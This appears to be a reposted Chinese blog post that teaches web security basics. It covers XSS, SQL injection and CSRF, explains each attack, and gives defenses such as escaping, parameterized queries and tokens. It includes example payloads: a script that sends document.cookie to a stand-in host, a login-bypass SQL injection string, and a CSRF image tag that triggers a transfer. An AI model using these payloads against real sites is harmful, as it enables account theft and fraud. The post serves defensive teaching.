惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

TaoSecurity Blog
TaoSecurity Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
F
Fortinet All Blogs
Cisco Talos Blog
Cisco Talos Blog
D
Darknet – Hacking Tools, Hacker News & Cyber Security
S
Secure Thoughts
美团技术团队
雷峰网
雷峰网
Hugging Face - Blog
Hugging Face - Blog
博客园_首页
C
CXSECURITY Database RSS Feed - CXSecurity.com
Engineering at Meta
Engineering at Meta
人人都是产品经理
人人都是产品经理
月光博客
月光博客
T
Tor Project blog
P
Privacy & Cybersecurity Law Blog
Recorded Future
Recorded Future
I
Intezer
博客园 - 【当耐特】
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
GbyAI
GbyAI
罗磊的独立博客
V
V2EX
Google DeepMind News
Google DeepMind News
D
DataBreaches.Net
Last Week in AI
Last Week in AI
T
Tailwind CSS Blog
www.infosecurity-magazine.com
www.infosecurity-magazine.com
A
About on SuperTechFans
Scott Helme
Scott Helme
Vercel News
Vercel News
Spread Privacy
Spread Privacy
T
Threat Research - Cisco Blogs
Recent Announcements
Recent Announcements
Hacker News: Ask HN
Hacker News: Ask HN
C
CERT Recently Published Vulnerability Notes
G
Google Developers Blog
B
Blog
博客园 - 叶小钗
WordPress大学
WordPress大学
博客园 - 聂微东
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Jina AI
Jina AI
IT之家
IT之家
C
Cybersecurity and Infrastructure Security Agency CISA
P
Palo Alto Networks Blog
小众软件
小众软件
博客园 - Franky
Microsoft Azure Blog
Microsoft Azure Blog
AWS News Blog
AWS News Blog

蛮荆

如何获取更多的免费服务器 Kubernetes 调度器队列 - 设计与实现 Kubernetes 调度器 - 核心流程 Kubernetes Networking Model & CNI Kubernetes 控制器管理总结 Kubernetes CronJob 设计与实现 Kubernetes Job 设计与实现 Kubernetes HPA 设计与实现 Kubernetes Deployment 滚动更新实现原理 Kubernetes GC 设计与实现 Kubernetes Pod 驱逐 - 设计与实现 Kubernetes Daemonset 设计与实现 Kubernetes ReplicaSet 设计与实现 Kubernetes EndPoint 设计与实现 Kubernetes Informer 设计与实现 降本增效之应用优化 (三) 日志存储与检索 Kubernetes Pod 设计与实现 - 创建流程 Kubernetes 探针设计与实现 Unix 编程艺术名句摘录 Kubernetes - CRI 概述 Golang 编译速度为什么这么快? Kubernetes Pod 设计与实现 - Pause 容器 Kubernetes - kube-proxy 代理模式工程优化 Kubernetes 应用最佳实践 - 优雅关闭长连接 Kubernetes Service 类型和会话亲和性 Kubernetes 为什么需要 Ingress Kubernetes 架构 - 控制平面和数据平面 降本增效之应用优化 (二) 大报表 Go 语言如何获取 CPU 利用率 降本增效之应用优化 (一) Redis 业务规则引擎演变过程简述 微服务中的熔断算法 漏桶算法和令牌桶算法 jsonparser 为什么比标准库的 encoding/json 快 10 倍 ? zap 高性能设计与实现 HTTP Router 算法演进 fastcache 高性能设计与实现 ants Code Reading Go 线程安全 map 方案选型 布隆过滤器 死锁、活锁、饥饿、自旋锁 sync.Pool Code Reading Go 内存管理概述 Go netpoll Code Reading goroutine 泄漏与检测 time/Timer Code Reading GMP Scheduler Code Reading Go channel 的 15 条规则和底层实现 为什么 Linux “一切皆文件” context.Context Code Reading runtime/HACKING.md Goland 最佳实践 互联网开发与金庸武学 为什么 Redis 6.0 引入多线程模型? Kubernetes 应用最佳实践 - 金丝雀发布 容器中如何正确配置 GOMAXPROCS ? singleflight Code Reading sync.Map Code Reading sync.Cond Code Reading sync.WaitGroup Code Reading sync.RWMutex Code Reading sync.Mutex Code Reading sync.Once Code Reading Go 无锁编程 sync/atomic Code Reading goroutine 交替打印奇偶数 GODEBUG Go 并发模式 Go 汇编 UUID 通用技术选型 Kubernetes 应用最佳实践 - 水平自动伸缩 Go 高性能 Tips fasthttp 为什么比标准库 net/http 快 10 倍 ? 技术文章配图指南 ChatGPT 初体验 Docker 网络原理概览 iptables 的五表五链 Kubernetes 应用最佳实践 - 亲和性和污点容忍度 Go 的反射与三大定律 Docker 官方提供的最佳实践 Go 语言内置的设计模式 HTTP1 到 HTTP3 的工程优化 Kubernetes 应用最佳实践 - Sidecar 模式 Kubernetes 应用最佳实践 - init 容器和钩子函数 为什么 recover 必须在 defer 中调用? 为什么 defer 的执行顺序和注册顺序不同? Go map 设计与实现 Go 切片扩容底层实现 Go 语言中的零拷贝 Go Delve 云原生和边缘计算简介 Kubernetes Pod 服务质量等级 Kubernetes 应用最佳实践 - 探针 Kubernetes 应用最佳实践 - 资源请求和限制 CDN 原理 Kubernetes 应用最佳实践 - 开篇 缓存策略和模式 Go 内存模型 Kubernetes 核心概念 软件版本语义化
Web 常见的三个安全问题
2023-07-05 · via 蛮荆

2023-07-05 Web 安全

概述

这两天在看 Google SRE 这本书, 书中提到了几种常见的安全问题:

图片来源: Google Site Reliability Engineering

本文着重讲一下其中的 XSSSQL 注入CSRF,这三个问题也是 Web 开发中常见的。

跨站脚本攻击

跨站脚本攻击(Cross-Site Scripting, XSS): 攻击者通过在网页中插入恶意代码来利用浏览器的漏洞,代码包括 HTML 和 JavaScript。

攻击原理

例如有一个论坛网站,攻击者可以在上面发布以下内容:

<script>location.href="//example.com/?c=" + document.cookie</script>

如果服务端没有对该内容进行安全过滤,那么发布后内容会被渲染成以下形式:

<p><script>location.href="//example.com/?c=" + document.cookie</script></p>

此时另一个用户浏览了含有这个内容的页面,将会跳转到 example.com 并携带了自己的 Cookie, 如果这个论坛网站恰好通过 Cookie 的方式来管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录当前用户的账号了。

攻击目的

  • 窃取用户的 Cookie
  • 伪造虚假的输入表单窃取用户信息
  • 显示伪造的文章或者图片
  • 使用被攻击者的身份执行一些操作,如: 发通告、加好友、发私信等
  • 通过在访问量大的网站放置 XSS 代码来攻击小型网站

真实案例

笔者在职业生涯早期,曾经遇到过一个真实的跨站脚本攻击案例。当时的背景是开发了一个类似 SAAS 的投票模块,因为每个客户会根据最终的投票结果排名发放对应的奖品, 有个懂技术的用户在个人昵称中添加了一段 js 代码,服务端没有做响应的过滤,造成的结果就是该用户霸榜第一名连续将近 6 小时,后来是业务方反馈到了笔者这边,进行了紧急处理。

如何防护

通过将 Cookie 的 HttpOnly 属性设置为 true, 表示无法通过 document.cookie 获取用户 Cookie 信息,可以在一定程度上防止 JavaScript 代码类型的跨站脚本攻击。

2. 过滤特殊字符

不相信用户的任何输入。

例如将 < 转义为 &lt;,将 > 转义为 &gt;,从而避免 HTML 和 Jascript 代码的运行。

富文本编辑器允许用户输入 HTML 代码,通常采用自定义标签的方式,过滤掉可能会造成攻击性 HTML 代码。例如下面的例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。

<h1 id="title">XSS Demo</h1><p>123</p><form><input type="text" name="q" value="test"></form><pre>hello</pre><script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1><p>123</p>&lt;form&gt;
  &lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;

<pre>hello</pre>&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;

在线测试工具

XSS Scanner - Online Scan for Cross-site Scripting

可以选择单个页面测试,也可以整站测试。

SQL 注入攻击

SQL 注入攻击 是指攻击者在应用程序的数据库查询中注入恶意 SQL 代码,从而执行未经授权的 SQL 语句,造成 SQL 注入的原因是服务端程序没有过滤客户端提交的数据。

攻击原理

例如一个网站登录验证的 SQL 查询代码为:

sql = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

如果填入以下内容:

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";

那么 SQL 查询字符串就会变为:

sql = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

等于直接跳过数据库管理员执行了以下查询 (俗称 “脱库”):

sql = "SELECT * FROM users;"

其他 SQL 注入方式和上面的示例类似,都是攻击者通过先猜测对应的服务端 SQL 语句,然后再根据请求数据格式注入对应的代码,读者可以展开 “想象”,充当一回 Hacker, 对自己的项目全面地进行一个 SQL 注入安全检查。

如何防护

1. 使用参数化查询

主流编程语言的标准库、第三方 ORM 框架基本都已经内置了 SQL 参数查询过滤功能,例如 GORM 的写法:

result := db.Where("username = ?", username).First(&user)

2. 单引号转换

将传入的参数中的特殊字符 (如单引号, 双引号, 反斜杠等) 进行转义处理,这样被转移的 SQL 语句执行就会报错,但是在实际开发中, 这种方法很少使用,一般都是使用第一种方法。

在线测试工具

XSS Scanner - Online Scan for Cross-site Scripting

跨站请求伪造

跨站请求伪造(Cross-site request forgery,CSRF)是攻击者诱使用户去访问一个已登陆的网站,并执行一些特定操作(如发邮件、发消息、转账等)。

跨站脚本攻击利用的是用户对指定网站的信任,跨站请求伪造攻击利用的是网站对浏览器的信任。

攻击原理

假如一家银行用以执行转账操作的 URL 地址如下:

http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName

那么,一个恶意攻击者可以在一个网站 A 上放置如下代码:

<img src="http://www.examplebank.com/withdraw?account=小明&amount=1000&for=攻击者">。

如果此时有账户名为 小明 的用户访问了网站 A,而他之前刚登陆过银行网站,那么他就会向攻击者转账 1000 元,而他本人还蒙在鼓里尚不知情。

上面的攻击方式是最简单的一种,类似这种恶意的网址可以有很多种形式,藏身于网页中的各个角落 (如按钮、图片、对话框等), 同时,攻击者可以将恶意代码放到其他网站中,例如他可以将代码藏在论坛,博客等任何用户生成内容的网站中, 如果这些被攻击者放置代码的网站服务端没有进行安全过滤,所有访问这些网站的用户都有可能受到攻击,损失金钱。

攻击者并不能通过 跨站请求伪造攻击 来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。本质上,攻击者是通过欺骗用户浏览器来执行特定操作。

防范手段

1. 检查 Referer 首部字段

Referer 首部字段位于 HTTP Header 报文中,用于标识请求的源地址,通过检查这个首部字段,并且要求 请求源地址 和 当前地址 必须在同一个域名下,可以尽可能的防止跨站请求伪造攻击。

该方案实现简单并且效果不错,但是局限性在于其完全依赖浏览器发送的 Referer 字段百分百是正确的, 如果浏览器的内核实现有问题,或者浏览器本身有安全漏洞,都会影响到该字段的正确发送,甚至攻击者可以直接攻击浏览器,强制篡改 Referer 字段值。

限制请求方式

一般情况下,攻击者放置在网站上面的代码,用户点击时都是 GET 请求方式,对于关键操作,可以限制请求方式为 POST、PUT 等,也算一种非常简单实用的防止攻击的方案。

3. 双重身份验证

跨站请求伪造攻击是在用户无意识的情况下发生的,此时可以通过二次验证机制来提醒用户接下来的操作,常见的验证方式有短信验证码、手机令牌、电话密钥等。

4. 添加校验 Token

异或计算性质: 三个值中的任意两个值进行异或计算,都可以得出第三个值。

示例代码: 数字 1, 2, 3 执行异或计算

package main

func main() {
	println(1 ^ 2) // 3
	println(3 ^ 1) // 2
	println(3 ^ 2) // 1
}

利用异或计算性质返回一个 Token

在发送关键数据请求时,服务端可以生成一个 Token 返回给客户端,客户端保存在表单中,并在请求时携带该 Token 和数据一起发送到服务端。

Token 工作流程:

  1. 服务端获取到 持久性密钥 (这个密钥一般是该服务专属并且全局唯一,可能存储在数据库、缓存、配置中心等)
  2. 根据客户端当前请求生成一个 随机字符串 A
  3. 通过计算 (持久性密钥 XOR 随机字符串A) 得出 Token
  4. 将 Token 返回到客户端
  5. 客户端接收到 Token 后保存起来,可以是表单、Cookie 等方式
  6. 客户端再次发起请求时,携带该 Token
  7. 通过计算 (持久性密钥 XOR 客户端 Token) 得出 随机字符串B
  8. 比较 随机字符串 A随机字符串 B 是否相等,如果不相等,说明请求被篡改

其他安全问题

鉴权不当和访问控制不当

确保实现正确的用户校验授权以及操作权限管理,Go 语言可以参考这两个组件 casbin/casbin, golang-jwt/jwt

敏感信息泄漏

采用足够安全的方案保存密码,Go 语言可以参考标准库中的 /crypto/scrypt

不安全的文件上传

服务端没有对上传文件的类型、大小和内容进行验证和过滤,可能会导致恶意文件的上传和执行 (例如攻击者上传恶意 shell、php 文件), 对用户上传的任何文件都要进行检测,此外也可以直接使用云服务商提供的 OSS 安全检测功能。

日志记录和监控不足

  1. 全面记录日志:确保对关键事件和操作进行全面记录,包括用户登录、权限变更、敏感数据访问等
  2. 合理设置日志级别
  3. 及时备份日志文件
  4. 搭建实时监控和警报系统

文章声明

Web 安全测试是一项专业且敏感的活动,需要掌握专业知识和遵守法律法规,本文所有内容仅作为技术描述和演示,错误的使用安全测试技术可能导致违法行为、侵犯隐私、数据泄露等问题。 读者务必确保在合适和合法的环境中进行实践和学习,引起的任何后果请读者自负,本文作者概不负责。

扩展阅读